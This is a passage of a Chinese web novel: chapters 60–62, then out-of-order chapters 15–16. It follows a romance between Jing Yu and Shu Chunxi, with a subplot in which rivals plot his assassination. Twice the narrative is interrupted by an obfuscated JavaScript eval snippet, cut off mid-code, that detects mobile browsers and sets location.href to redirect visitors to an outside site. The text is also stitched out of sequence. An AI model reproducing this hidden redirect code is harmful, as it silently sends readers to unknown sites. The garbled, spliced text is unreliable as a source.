但他却有点愧疚地不敢去面对这样的情绪,他不知道是不是对的。 “对不起纯熙,我也不知道,我怎么了。” 好像确实是好色,确实是男人本性了。 她是怪他这个吧。 敬渝垂下眼眸,有点歉疚地不知道怎么办才好。 60. 第 60 章 第六十章、 他从前以为这种事情是水到渠成、顺理成章的。 青梅竹马,逐渐长大,把对方越来越放在心上重要的位置上面,然后,到了某一刻,就可以去接受更亲近更依赖的事情发生,再在关系上更进一步。 他预想的是那样的。 但等到真的发生那件事情的时候,他又发现这一切好像并不是他想象中的那么简单。 自己心中的理智和清醒逐渐被一张黑蒙蒙的布给盖上,影响他去判断,影响他去认知。 他只知道从那块罩着自己的黑布底下漏出来的是喜悦和满足的情绪,是那种一个男人与心爱的女人灵肉合一之后该产生的情绪,符合那样的逻辑。 但那块布他掀不开,也不敢掀开,或许也是没有力气去掀开。 他隐约地觉得好像少了点什么。 他的人生原本严丝合缝地在运转,严谨、周密,从来没有想到过会出现这么一件棘手的事情,理智好像完全不管用,因为什么都分析不出来。 拧着眉头,敬渝小声地对着面前不作声的身影说: “不要跟我没有关系了好不好?你不喜欢的话,以后我们就不做了,我不想让你难受,我发誓。” 他鼓起勇气,终于伸手掌住她小腹,将人揽进自己的怀里,轻轻地说: “我们继续谈恋爱好不好,我会认真追你的。” 直到听见敬渝的这句话,舒纯熙才任由胸膛里那种酸涩的情绪绽开来。 静了半晌,她在男人怀里转了个身,面庞离他裸露的胸膛很近。 “可是,我没记错的话,你以前可不会脱光衣服,这样跑到我床上来诶。” 空出手来戳了戳他的肋骨,似好玩似探究一样,女人嘟囔着嘴突然下了定论: “讨厌,流氓,混蛋,占我的便宜,还那样对我,你变坏了敬渝!” 说完,女人的手又移到他腰上,重重地戳了一下,声音低下去,底气不足却又要虚张声势,有点心虚地补了一句, “……还,还把我也给带坏了!” 任她动作的男人抿着唇尽量不发出声音来,只是忍耐的过程中不知是腰上太痒,还是这话令他确实觉得无地自容,欲盖弥彰地闭上眼皮子牢牢地合着,两边脸皮染上不正常的红晕。 默认了舒纯熙的指控。 舒纯熙这一遭从头到尾也算是玩够了,再抬起眼皮子看敬渝的脸,依旧红得明显,跟他的一张玉面白脸很不符。 不指望他能主动想明白自己先前脑子里捣鼓着什么东西,现下光是看他这种含羞欲死还要极力忍耐的样子,也就已经很有意思了。 “小渝哥哥,你长大以后,怎么就变得这么坏了?” 吃吃地笑了一下,女人又促狭地朝他胸前埋过去,用鼻尖不轻不重地在他肌肤上划动。 回应她的只有男人愈发压抑才勉强平稳的呼吸。 她都这么说了,敬渝自然无不应下,藏起那一丁点不经意的委屈,有些惭愧地应了她一句: “嗯……对不起,是我变坏了。” 舒纯熙又小声地在笑,也不知道是在笑话他,还是在笑自己心里的那个想法。 总之她将手回揽在敬渝的腰上,底下的那只手执着地要塞进他与床垫的缝隙之间。敬渝只好抬起一些,好让她的手通过,然后再压下去。 怀里的女人便用手将他整个人环腰包裹住,与他亲昵地相依偎着。 敬渝拿不准她如今的想法,逐渐平静安稳地呼吸着,伸手抚住她脊背,便听见舒纯熙又追着问道: “说,你是从什么时候开始变坏的?” 闻言,下巴正巧抵在女人头顶的男人很快合上双眼,闭不做声,只从喉中吐出一声不自在的假咳来。 他三缄其口,乃至于舒纯熙竟然撬不开他的口,胡搅蛮缠地凑过去亲他的嘴巴。 敬渝喉头克制地滚动了两下,嘴皮子还是不动,任她在自己唇瓣上又拨弄又轻咬,仿佛睡死过去了一样。 最后,身上的女人挣扎着收回手,原先亲他的时候,她已经翻过来把他压倒,趴在了他身上,现在更是一起身坐在床上,背对着他不搭理他了。 察觉到身上的重量消失了,敬渝才睁开眼睛,也跟着坐起身来,挪动了双腿,从后面把舒纯熙给抱住,咽了下唾沫,才极其小声地说: “你就饶了我吧,纯熙。” 被拥在怀里的女人努了努嘴,听他这话,就知道必然是什么他没脸说出口的话。 好啊,原来他果真早就变坏了,只不过面上能装而已! “纯熙,你还没回答我的问题呢,愿不愿意跟我谈恋爱,做我女朋友?” 敬渝又咳嗽了一声,连忙转移起话题来。 被男人高大身影拥住的女人果然被吸引了注意力,打了下他的胳膊将他推开来,撇撇嘴说: “你想得美,动动嘴皮子就想让我做你女朋友,世上还有这么好的事情呢?” 说完,她扭过头来看他一眼,两片蝶羽般的黑睫再向下一扫遮住了眼睛,唇角朝两边轻扯,带着淡淡的愁绪,有点幽怨的模样。 敬渝笑了,唇角牵起来浅浅地笑着,点了点头,盯着她的眼睛很郑重地说: “那我追你好么,你不要先考虑别人,得给我拿第一个号码牌。等我找到办法了,就来娶你回家,行不行?” 他也开起玩笑来了,毕竟这个法子最终的“检验者”,就是眼前的这个女人。 直看着舒纯熙翘起唇角,哼了一声,总算露出一副颇为满意的样子,敬渝才将额头与她一抵,良久才分开,覆唇轻轻地吻了一下。 “你什么时候走啊?” 温存了好一会儿,舒纯熙扬起小脸又开始操心起这件事来。 她想叫他别走,哄着自己入睡,但是,等到明天早上他再走的话,说不定就会被父母发现。 一想到这种可能性,她直接一激灵,有点害怕拽住他胳膊,然后又看见男人到现在裸露着大半个身子的样子,有点不好意思地垂下眼,讪讪地收回手来, “我怕爸爸妈妈会发现嘛。” 语调干巴巴地,陷入了纠结之中时,她的手上覆上男人的大掌,被他轻拍了拍。 “没事,我先哄你睡着,然后就走,不会让伯父伯母知道的,别担心。” 他刮了刮“坏女孩”的鼻子,笑得难得有些少年意气,然后松开他去床头够自己的手机,打电话给等在外面的司机交代了几句,便回来拥住她再度躺下。 “你去关灯。” 女人的声音脆生生的,敬渝便下了床,将所有灯都给关了,再回到她身边。 一具温热柔软的躯体在床上翻滚了一下,撞进他的怀里,找了个舒服的姿势,心满意足地睡下。 房间里没了光亮,只有月光透过玻璃门撒在地上,有着隐约的光亮,静谧又安宁。 “你给我讲个故事听,讲得好的话,我看看要不要给你加点分?” 怀里的女人扬声说了句。 黑夜之中,男人的面庞被柔和成一种温柔又带着点宠溺的模样,低沉地“嗯”了一声,眼睛动了动,静静地开口,说: “从前呢,有一个男生,身后总是跟着一个小女孩,叽叽喳喳绕在他身边,要他做这做那,要他哄要他陪她玩。起初,男孩觉得有点烦,他也不知道,只是比自己小了两岁,为什么这个小女孩就有这么多幼稚的话可以说。 所以,他想尽一切办法,在不被父亲教育的情况下敷衍她,比如在不得不陪她玩捉迷藏的时候,把她一个人留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595106|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱石园里,自己跑回书房里面去看书,等到天要黑了再去领她回来……” 说到这,敬渝停顿了一下,有点不好意思地低头看了一眼怀里的女人,回应他的则是胸膛上被拳头的一砸。 低笑了一下,他再度开口,继续说: “总之呢,两个人就这样磕磕绊绊地一起长大,女孩黏人得很,男孩也渐渐习惯了她的存在,不再想着要躲开。十岁,十二岁,十五岁,十七岁, “某一个周五的下午,男孩下午放学的时候,却没有发现总是会在窗外等自己的女孩。他知道初中部周五下午会少一节课,所以她才总是会绕过来要跟自己一起回家,但那一天他却并没有等到她。 “男孩不知道发生了什么事,又在教室里等了一会儿,也没有看见她来,破天荒地主动去初中部找她,才知道她下午就被父母给接走了。然后,他让司机先开车去她家,到了她家后,他才从女孩的父母口中得知她得了传染病,暂时不能见人,得隔离休养。 “女孩的父亲问他,要不要上楼,隔着房门跟女孩说几句话。 男孩想了想,还是拒绝了。 “女孩的母亲拿出电话来,告诉他,虽然暂时不能见她,但他可以跟她说话,听听她的声音。 男孩不习惯这样温情的感觉,他不适应,光是想想就要起鸡皮疙瘩了,依然拒绝了。 就这样,男孩离开了,走出大门时,脚步却有些迟疑了,鬼使神差地绕到女孩房间的外面,仰头朝着上面远远地看着。 阳台上,女孩常常会晃的那架秋千上,并没有她的身影。 玻璃门也紧紧地关着。 他张望了好一会儿,也没有看见女孩。最后,终于不得不承认,其实他自己并不适应那种感觉,心里竟然有种隐隐的失落。 那大概是他第一次在长大的过程里停下来,认真审视了一下自己身上的某种情愫。 或许有些东西,早已经从惯性,变成了一种更深的、难以割舍的情感了,那很奇怪,又实在难以挥散走开,一点点,萦绕在心头,但他也并不怎么抗拒。 低下头,男孩听凭心里的声音,望着别墅的外立面观察了起来,彼时他更想的竟然是找一条路线直接爬上去,翻进去去见她,并且很快就找出了一条可行的路来。 但他最后还是没有这么干。 男孩是一个理智、清醒、严肃、克制到一分一厘都像用标尺刻出来的人,他压得下心里面的那种冲动,也做得出更正确的抉择。 所以他还是转身离开了。” 近乎呢喃的最后一句话越来越小,最后戛然而止。 敬渝悄然往后退了点,去看舒纯熙的表情,只见怀里的女人用脑袋蹭了蹭他的胸膛,带着即将入睡的困倦嘀咕了一句, “怪不得,我就记得你明明都没关心过我……” 尾音拖长,她抿了下唇,心满意足地睡过去了。 男人望着她,微笑着,目光有些飘远,带着点明显的怅然。 那时候,还有后来…… 如果他能更勇敢一点,不要时时刻刻压抑克制着自己,或许也就不会错过一些事情,更不会失去她。 好在,往事已走,周而复始,苍天见怜,她又回到了自己面前。 这堵墙,他终究还是攀上来、既而翻越了。 而后,躺在这张床上,怀里拥着他十年前就喜欢的女人。干涸已久的心,也得以重新雀跃。 她睡熟了,鼻腔里传出一点点的“呼哧呼哧”的声音,可爱得令人心软。 敬渝凝视着舒纯熙的眼神柔情万分,倾身过去,对着她张开成一个微微“O”形的嘴巴探过去,怜惜又温柔地亲了一下。 一触即分,然后从喉中发出一声低沉的笑。 万幸,万幸。 61. 第 61 章 第六十一章、 又陪着舒纯熙躺了半个多小时,敬渝看她睡得安稳,再悄无声息地将双手从她身上移开,几乎没有弄出什么动静,下了床穿好衣服,再原路返回,摸黑离开了敬宅。 舒纯熙第二天起床的时候,敬渝当然已经不在身边了。 看着身边空荡荡的大半张床,她也说不出是庆幸他确实走了,应该没有被爸爸妈妈给“逮住”,还是隐约有了点不适应,毕竟之前在敬宅的时候,他都是会抱着自己一直等到她自然醒过来的…… 心里思绪百转扭捏,女人只好在柔软弹性的大床上翻滚了一圈,再晕乎乎地从床上爬起身来。 转头的时候,床头柜上放着一只用深蓝色丝质手帕叠出来的小老鼠,舒纯熙望见的第一眼就绽开了笑容,凑近过去,两只手呵护地捧起那只小老鼠,左右转动了一下手掌心,端详了好一会儿。 老鼠的尾巴处,还绣着敬家的族徽,是一只麒麟,周遭绕着两朵权杖般的野百合花。 女人唇角扬起的弧度始终未散,拿着那只小老鼠,抽出一只手来去找自己的手机,不久前正好收到敬渝的一条消息。 “早安,醒了么?” 舒纯熙盯着屏幕上的消息努了努嘴,给自己手上的东西拍了张照片发过去,打字说: “留一只老鼠给我是什么意思,难不成是觉得我跟老鼠很相称吗?” 柔软的那只面料玩偶鼠老老实实地待在她手边,觉得自己很无辜。 那头好一会儿没有回消息过来,舒纯熙坐在床边晃荡着双腿悠悠地等着,也不知道他是真在忙,还是正紧拧眉头,纠结地想该怎么解答自己的问题。 畅想着,脑海里的目光从他蹙起小山峦的眉峰流转而过,心脏如被春夏交际的暖风吹拂过一样,身体中荡漾着一种酥麻奇特的情绪。 “叮咚。” 舒纯熙停下双腿的动作,偏头去看亮着的手机屏幕,敬渝回了消息过来,解释道: “渝夜半离开,恐纯熙后半夜不得安眠,特捉出房间里一只小鼠置在床头镇守,想来夜半再无窸窣噪音搅扰,纯熙一夜好梦否?” 紧接着,又发过来一条消息,贴心地说: “若纯熙答应做我女朋友,以后房间里一应昆虫小兽,都由我来捉,绝对让纯熙夜夜安眠。” 舒纯熙“切”了一声,破功地笑出声来。这是什么值得一说的优势么,分明就是此地无银三百两! . 杨曦发现,女儿有点不同了。 自从两年前入狱与她分开,其实夫妻俩已经许久没有跟女儿生活在同一空间里了。 遥想两年前舒纯熙跟敬亭结婚的时候,他们也没能送嫁,再见面已经是半年之后,出现在会见室的女儿,仿佛一夜之间就成熟得彻底。 她还记得自己问舒纯熙,敬亭对你好不好。 那时候舒纯熙低头做害羞状,低低地应了一声“嗯”。 那仿佛是她这两年里为数不多会露出羞怯意味的时候,其余的时候,言语与举止之间,杨曦都能明显感觉得到一个事实,那就是在狱外星河流转的时光之中,女儿也不可抑制地长大成人了。 但现在,望着沙发上捧着手机笑得偷摸的女儿,杨曦笑着摇了摇头,跟舒怀宁对视了一眼,竟有了一种她越长大越往小时候长的感觉。 只不过她不知道的是,以前,舒纯熙捧着手机笑,是笑呵呵地欣赏自己的杰作,以及手机那头人的无奈却又纵容的神情。 现在,则是心安理得地享受起了对方的报备和追求来。 看上去差不多,却又其实不一样了。 舒纯熙翘着唇,眼珠子转了两圈,也没松口答应对话框里对面人说的事情,权当没看见。 结果入了夜,敬渝就堂而皇之地出现在家里,美名其曰有事与舒怀宁要谈。 吃完饭出了门,他竟又故技重施。 舒纯熙可没有真的为他准备一张梯子。 面对着又出现在面前的男人,她有一种自己成了莴苣公主的感觉,偏过头嘟囔了一句“登徒子”。 . 三周后,众议院、国政院两司会审舒家一案,会议持续了整整两个小时,洁白的大礼堂内众人虽神色各异,但俨然鸦雀无声,等待着最终结果的宣读。 众议院秘书长按下代表身份的印章,文件一式两份,飞速传阅出众议院的大礼堂,飞向不远处的一家酒店,亦飞向全国各地。 散场后,三三两两结伴而行,一阶一阶走下光滑锃亮的白色大理石台阶的过程,总算窃窃私语开来。 “我记得,那个、敬家……不是一向不参与党争的么?” 一位头发花白的老议员眯了眯眼睛,想起方才会上站起来高谈阔论的其中几个人,脑海里的思绪繁杂冗长,最后,总算找到了它的落脚点。 也就将后头的人给揪出来了。 “他们敬家人不总是要搞什么中立的吗?今天这是什么意思,变天了啊?” 老议员的声音颤颤巍巍,在半空中绕啊绕,最终疑惑地看了一眼自己身旁的另一位中年议员。 方才会上,他可是看得明明白白,舒家人既然下了狱,那就是犯了实打实的事,不可能平得了。 如今要硬想平反翻案,那相应的,不管是真是假,总是要换人来承担这一场彻头彻尾的闹剧的。 而这次被拉下来的,就是仇正省的好亲家。 仇正省何其人也?下一届总统的有力候选人之一,风头正盛,如今被活生生地剪掉了一边翅膀,他能一点都不记恨? 敬家人替舒家出手开罪了仇正省,那就是站了队,选择拥护其他人做下一任的总统。 在心中将这桩自己如今已经看不懂的事情咀嚼了好一遍,老议员摇摇头,只道自己过了秋分也就退休了,确实犯不着管这些事情了。 “老先生,这您就不知道了吧,那舒家,如今是敬家家主的岳家,这两家早就是一根绳上的蚂蚱了。” “奥,那倒不奇怪了。” 苍老的声音应了一句,又啧了一声,叹了一句: “我老啦,看不明白咯……再也看不明白咯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604372|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' . 几百米之外,国宾会馆的一间私密屋子里,祝郧阳听着众议院传来的闭院钟声,一声一声敲在他单薄的脊柱上,仿佛要将他的身子骨都给敲碎了。 “谋划了八九年,好不容易把舒家给拉下野,结果不到一届的时间,人家不仅翻盘回来了,还一脚步入国政中枢……到头来,还真是白忙活一场啊。” 坐在沙发上垂着头的男人噗笑一声,一个多余的眼神也没给站在窗边的祝郧阳,伸手捂住脸,狠狠地抹了一把,拔高音量吼了一句: “现在舒家人一个没少就算了,敬家也站在他们那边,所以反倒是我给他们作了嫁衣裳了?!” “事到如今,也不是没有补救的办法。” 祝郧阳转过身,朝着沙发那边走过去,望了一眼在房间里依旧戴着鸭舌帽的中年男人,走到侧边的单人沙发前坐了下去,幽暗的眼眸里泛着冷光,语调冰凉地说: “今天这么重要的时候,敬渝肯定来了。现在,只要我们能把他永远地留在北省,不就行了?” “永远地……留在北省?” 仇正省抬起头来,目光里绽着些不可置信的意味,对上祝郧阳已经一脸笃定的神情,声音逐渐小下去,却也平稳不起来了。 “你是说……” 旁边的人已经点了下头,以手抹脖子做了个手势,等着他的决断。 仇正省摇摇头,反驳道: “你当敬家的人都是吃素的?敬渝一旦死了,难保我们不会跟他们彻底结仇,到那个时候,敬家只会更死心塌地地托举洛明阳,跟我们就一定是你死我活了。” 彼时,情况只会比现在还要更差了。 仇正省虽然恼恨敬渝悄无声息地拔掉了自己的爪牙,想要给他个教训瞧瞧,但理智尚存,远不至于真要了结了他的性命。 “舒家的事情,您也看见了,这一两年里,南省换上了一大批敬家的人,我们不都以为,就算做不成朋友,他也绝不会是我们的敌人么? “但是逐渐地,我们的人想从南省里传出来点什么消息,光是探听都够费劲儿的了。事实是什么,他把我们所有人都给骗了!” 祝郧阳咬牙切齿,削瘦的双拳攥在膝盖上,尽力压制住不稳的声调,说: “杀伐果断,不给咱们留一点后路,敬渝此人非同小可,如若他意不在从商,而是把这次的事情,当做他给洛明阳的敲门砖,我们绝不能再坐以待毙,必须先发制人,杀之而后快。” 祝郧阳说的这些,仇正省又何尝不明白呢,他紧皱着眉头扫了一眼愤慨的青年人,用手指重重地点了点身前的玻璃茶几,要他好好想想自己刚刚说的,便见他很快地露出一个微笑,凑过来悄悄说: “这您完全不用担心,我可以保证,除掉敬渝,敬家非但不会与我们结仇,还会转过来同我们做盟友。” “哦?说来听听。” 仇正省露出一点疑惑又探究的神情,当真是被他这话给勾起了兴趣来。 “仇总理,有一位客人两周前从欧罗洲远道而来,早就渴求要见您一面了。” 62. 第 62 章 第六十二章、 男人望着她,微笑着,目光有些飘远,几息之后,已经表现为一股子挥不开散不去的莫名情绪。 说是惘然,但他眉心之间已经微微皱起,执拗地不曾放开来。 若说是惆怅,除却将胸膛里面鼓鼓胀胀的感觉,正被自己紧紧攥住不愿放下之外,脑子里却还不能给出一个清晰的判断。 她很好,真的很好。 反而是自己,始终没有做得足够。 现在回想往事,一直以来坚守的规矩准则,仿佛也没有那么地坚不可摧。 至少,那时候,还有后来…… 若他从没有压抑克制过自己内心的冲动,不是非要做一个冷静理智到淡漠的青年人,他们还会走到那么阴差阳错的地步么? 敬渝闭上眼睛,脑海里甚至又一闪而过某个曾缠绕住他的、隐秘的暴戾冲动。 若那时,自己根本就不愿意尊重她的想法,而是强硬地要将她从波利给带回来,他们后来又会怎么样? 纯熙曾经担心的那种年少恋人因利益走到陌路的情况真的会上演么? 唇角勾起一点若有似无的苦笑来,胸膛里又清晰无比地绽放开要将他给腐蚀的酸涩来。 男人垂眸,于黑暗里默然凝视着怀里的女人,她的头就靠在他的胸膛上,整个人全身心地依赖着自己。 他的身体依旧温热,但那里面流淌着的血液却一步步随着思绪凝滞起来,以至于他甚至不敢伸出手去触摸一下她的面庞。 她害怕的事情当然不会发生。 除了她,他在这世上早已经孑然一身,再无任何可以牵挂的人了。 可他却没有清清楚楚、明明白白地让她了解这件事,甚至那时候,她就是曾那样地担心、那样地害怕过。 那个问题,她也是只问了一次,也就不抱希望地退缩了。 而他究竟在想什么? 彼时,舒家突来的横祸本就令他难以决断、举棋不定,见到来找自己的舒纯熙,他更是立刻就明白了,眼前的未婚妻子,就是舒怀宁为自己准备的一步好棋。 舒怀宁要她问的,根本不是什么他会不会立刻同她结婚的问题。他要的,是自己与敬家同他站到一起,一脚踏入党争的洪流中,亮明牌支持洛明阳。 但敬家不会参与党争,父亲临走之时,亦是谆谆教诲。 于是他垂下了眼眸,以沉默回避了她真切的目光,表明了自己的态度。 纯熙当然失望,很快就甩手离去。 以他对她的了解,她或许还会再想别的办法来达成目的,总之不会罢休。 那天他没有去追,留在书房里,静坐在一片日暮下的阴影中,仿佛化身为一根冰棱,煎熬之中越来越坍塌下去。 无论朝哪一边选择,他都难以心安理得地就此抛下另一边。 他在紧皱着的双眉之中,甚至生 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黑夜里死寂的男人露出一个勉强的自嘲的笑容,唇角刻意向上扬着,与先前一张沉着的脸颊对冲着不剩下什么。 那双黑曜石般清冷的眼睛无望地睁着,虚着焦,仿佛陷入了一种极其浓重的情绪里面。 他现在只想知道,他曾经怎么会有那种脸皮的? 15-20 第15章 第十五章、 舒纯熙的脚步声很快就消失在了身后,敬渝站在原地一动不动,就连攥拳的力度都没有一点变动,没再加重,也一丝一毫没放松。 他像是被她的那几句话狠狠地抽了一个耳光,直接将一分魂魄给打出了体外,站在亭子里入了定。 良久,当空中的日头摇下去,被远处一栋矮楼藏起来,天边也卷起来绚烂的橘红色时,他才总算挪动了一下脚步,试图往前面走一步。 但等到他走到下午时舒纯熙坐着的阑干面前,又一动不动了,只是低垂着的头盯着那块泛着漆光的木头。 上面仿佛还残存着她留下来的一点气息。 很淡,很轻,散得拢都拢不住,一伸手就会彻底飘飞。 这就是过去两年里,她留给他所有的印象的总和。 所以他总是屏息,只敢在心里默默珍视,却从不敢伸出手去搅扰。 就在昨天,他还幻想,什么时候她能像从前那时候一样,跟他好好说几句话,而不是像现在这样。 光是“不是”“嗯”“好的”这几个字,就能够囊括她所有可能的回答。 然后呢? 敬渝抬起头,望着远处的天边,火烧云美不胜收,但他却一点都欣赏不了眼前这番美景。 “不是”“嗯”“好的”“没什么”,除了这几个字,从回来到现在,她只跟他说过两次长句子。 一次是那天,她执意要去监狱见她父母。 另一次,就是今天。 唇角勾起一个自嘲的弧度,看上去似哭非笑。 敬渝转过身,也想要离开这个亭子 ,但脚下一踉跄,手只得撑在一根抱柱上,缓了一会儿。 然后他又想到,或许真的是他做错了吧,是他大意了。 他不应该以为敬亭能护得住她的,不应该以为敬亭能保护好他自己和舒纯熙的。 他不应该懈怠,不应该以为莫瑞恩尔会比维尔亚安全许多的,更不应该顾忌敬亭的感受,为了避嫌,没有派更多自己的人护在舒纯熙身边。 如果,如果他能早一点察觉,早一点安排人去保护他们,敬亭是不是就不会死? 敬亭不会死,她就不会失去丈夫,孩子也不会没有父亲。 她说的对,孩子根本就不缺一个大伯,孩子缺的是父亲。 敬渝缓慢得抬起双眼,两颗眼珠里灌满了空洞,迷茫得像一个没有生气的人偶。 。 到了饭点,餐桌上却只有宗正这个客人,丝毫不见敬宅任何一位主人的影子。 敬渝没有露面,李阿姨只好让人去找,但在庄园里遍寻不到。 舒纯熙也没有出现在餐厅。 下午时她上了楼,不知为何,跑到敬亭从前的房间里,把里面的东西砸得稀巴烂。 舒纯熙本就是带着一股子气走进了敬亭的房间,她还没忘了敬亭在这个房间里对她做过什么。 等她真的进来了,才发现里面的格局布置都不一样了。 华丽繁复的屏风,洛可可式的大床、吊灯,还有精巧的异形床头柜,上面的香薰、相框,巴掌大的小巧花朵灯盏,厚实软和的毛绒地毯,华美的窗帘,入目皆是她从前的审美。 她不用怎么思考,就能猜出来这是谁的手笔。 但心里面的那股火反而愈染愈烈,这房间里所有的一切都长了眼睛一般,看着她,嘲笑着她。 她站在敬亭从前的房间里面,浑身如坠冰窖,又忽然觉得自己身处火场之中,周遭的一切将她紧紧包围,迅猛灼烧着她本就为数不多的理智。 整个主楼的佣人都听得到楼上突然传来的“嘭通”一声巨响,那是化妆台被推倒的声音,镜子不堪重负,在与地面接触的瞬间碎成一个完整的轮廓。 紧接着,房间里传来一阵不停歇的“噼里啪啦”的各色响声。 窗帘被大力拽下,连带着墙上挂着的帘杆也落了地,那扇四面的屏风更是被恶狠狠地朝浴室的方向推倒在地,上面缀着的大块玛瑙水晶发出沉闷的响声。 舒纯熙猛地转过身,又走过去一脚踢翻一只高脚桌,上面的花瓶应声而碎,一枝开得正盛的辛夷花苍凉地躺在地上,被花瓶的碎片压在了下头。 相框、台灯,还有古董展示柜里一柜的精巧摆件全部被她挥落在地上。 房间里还有一个占据一整面的区欠洲式白色衣橱,舒纯熙走过去打开柜门,里面从精美的晚礼服到日常的裙子都齐备,塞满了整整三个橱厢。 她却伸出手,一股脑地将衣架上的衣服连拖带拽地砸到床上。 那华美的淡粉色真丝床品,她说怎么这么眼熟,此刻全都成了她怒火的助燃剂。 舒纯熙踩过一地狼藉,一步一个脚印地走回自己的房间,从里面拿出自己的一个备用打火机,攥在手心里走回去。 直到床上燃起火苗,刺鼻的气味和烟雾触发了屋内的烟雾警报器,一直守在门外没敢贸然进来的李阿姨才赶紧推门而入。 好说歹说地把舒纯熙给拉出了房内。 李阿姨半推半抱着将舒纯熙从房间里拉到走廊上面,后面早就严阵以待的佣人们才敢进去灭火。 舒纯熙知道这房间里的火压根烧不了多久的,这房间也是不可能被一把火烧得干干净净的。 她嘴角勾起一个惨淡又诡异的笑容。 可惜了她的绝版打火机。 。 楼上闹了那么一遭,灭了火后,李阿姨不知道舒纯熙为什么发那么大的火,一时之间也不敢贸然让人把房间都清理干净,只好让房间就那么放着。 夜半时分,敬渝才总算回来了。 李阿姨迎上来,瞄着他苍白冷淡的脸色,斟酌着向他汇报下午发生的事。 听到她说的话,敬渝的双睫只缓慢地眨动了一下,发出一个“嗯”的音节,什么都没交代,朝楼梯走去,然后一步一步走上楼,在敬亭从前的房间门口停下脚步,推门走了进去。 里面确实是一片狼藉,敬渝刚想走进去,就碰到挡住脚的一块碎木,踢开后,才走进去,又发现里面亦是几乎没办法下脚。 门没关,走廊和大厅的光照进来,他没再开灯,就站在那一道光里面,把房间里的景象都看了一遍。 身体里本就失去感知的血液,直到此时,他才知道原来还可以流得更缓慢一点。 凉意自双手而起,攥住心脏,直至五脏六腑,包裹着他一整个身体。 这房间里的每一样东西,从样式到摆放的位置,他都心如明镜,因为就是他让人去搜罗的。 他站在自己精心准备的房间里面,目光仔细地扫视辨认着地上所有的东西,第一次直面地感受到自己的可笑。 这满地的碎屑,就如同那一年他追去波利见她时,她给自己疏离陌生的答复。 现在,异地而处,却好像又一次收到了舒纯熙对他的心意的回应。 他还记得她喜欢什么样的家居和装饰,还记得她的品味,这么做,只是想让她住得高兴一点。 但她从一开始就没有选择住进来,现在,今天,更是因为对他的不满,一股脑把这里都给毁了。 她怎么会不知道这些东西都是他准备的? 或许东西本没有错,只不过,现在的他已经不再是她的品味了。 看一眼,她都愈发生恶。 她怨怪他吧? 怪他没有保护好自己的堂弟,才让她和孩子不得不经历生离死别,才让她不得不成了单亲妈妈。 一口气堵在口中,叹又叹不出口,敬渝提起沉重的步子,往外走。 到了舒纯熙房门口,他轻敲两下门,打起精神对里面说: “我想同你说几句话。” 房内的人当然没答话,屋内一点声音也没有传出来,灯也关着。 但敬渝觉得,她应该没有再睡觉。 想着,也只好沉下心,推开了门,走进去。 舒纯熙坐在床尾,面朝着阳台外面,双手抱膝而坐,床垫陷进去小小的一块儿。 月光之下,那个纤瘦的身影,看上去既孤单,又可怜。 敬渝望着她留给自己的背影,不知为何双眼涩然,一步比一步悄然,走到她身侧停了下来。 “下午你的话,我想过了。敬亭的死,我确实负有责任。事情成了现在这样,我也很抱歉。” 敬渝开口,声调微哑,一句一句慢慢地说道。他说着,目光盯着她的发顶,有些飘忽地陷到回忆里去了,忽然有点喃喃地说: “那房间里的东西,都是我让人按照你以前在舒家的房间置办的,我忘了现在你可能已经不喜欢了。砸了就砸了吧,或者你告诉我,现在你喜欢什么样的东西,你告诉我,我再让人重新去买吧。” 眼下的人依旧没有要动弹一下的意思。 他抿紧唇,手无力地在身侧抬了一下,又无力地收回来,语气更软和一点,踌躇着又对她说: “今天下午的事,是我做得不对,我不应该直接没收你的东西,而且,” 敬渝顿了一下, “我说的话也不好听,语气也不好,伤了你的心,我向你道歉,你不要因为我生气了,好么?” 第16章 舒纯熙总算有了点反应,她冷笑一声,回的却是他的上一句话,头都没抬,语调冰冷又锐利,像是被踩到尾巴突然跳起来要咬人的狸花猫, “谁稀罕你那些东西?” 敬渝不 说话了。 但手在腿侧很快握成拳头,不知道是想抓住什么东西,亦或还是在压抑着此刻的情绪。 在那房间里借着走廊里的灯光,看得清或者看不清的一切,都又重新占据着他的脑海,糊成了一团。 口鼻中的气息,一时间也不顺畅了起来,闷在心头,直叫他好像不能正常思考起来。 “可你以前明明是喜欢的!” 终究还是没有忍下去,沉闷的一句话从胸膛里发了出来,几乎是低吼出了这一句,掷地有声,他压着嗓子,不再刻意掩饰自己心里的愤懑,语调里面竟然还带着点不容易听出来的哀怨和委屈。 “那个缠了牵牛花的铜灯,你在一本书上看见之后就不管不顾地让我去找,我让人去找了,但是一连好几个月都没有下落。就因为这个,我去伏柳市出差,你来送我那天,还在车厢里对我扬着一张委屈巴巴的脸,就差在我面前掉眼泪了。 …… “去年八月,有海商从纽因洲回到维尔亚,带回来满满一大船的古董,在里面总算出现了那盏灯。 “你想要的东西我并没有忘记,那盏灯,我已经帮你找到了。” “还有放在展示柜里面的那些摆件,我收集了好几套函诀年代的完整绝版玩偶,还有那个金黄色的打鸣鸡音乐盒,还有小人鱼公主的水晶雕像,还有很多你以前喜欢的想要的,现在我都帮你找到了。 “那些东西,你都看过了么?” 他的问题飘落在地,只有一室月光静谧。 终于还是自嘲地一笑,敬渝有些无奈地后退了一步,摇着头,自说自话一般: “没有,你没认真看过,你反而把东西都砸了,你还要把整个房间都给烧了……” 那些东西,他唯一敢寄托在里面的那么一点心意,就那样轻而易举地被她给毁了。 她就这么践踏他的心意。 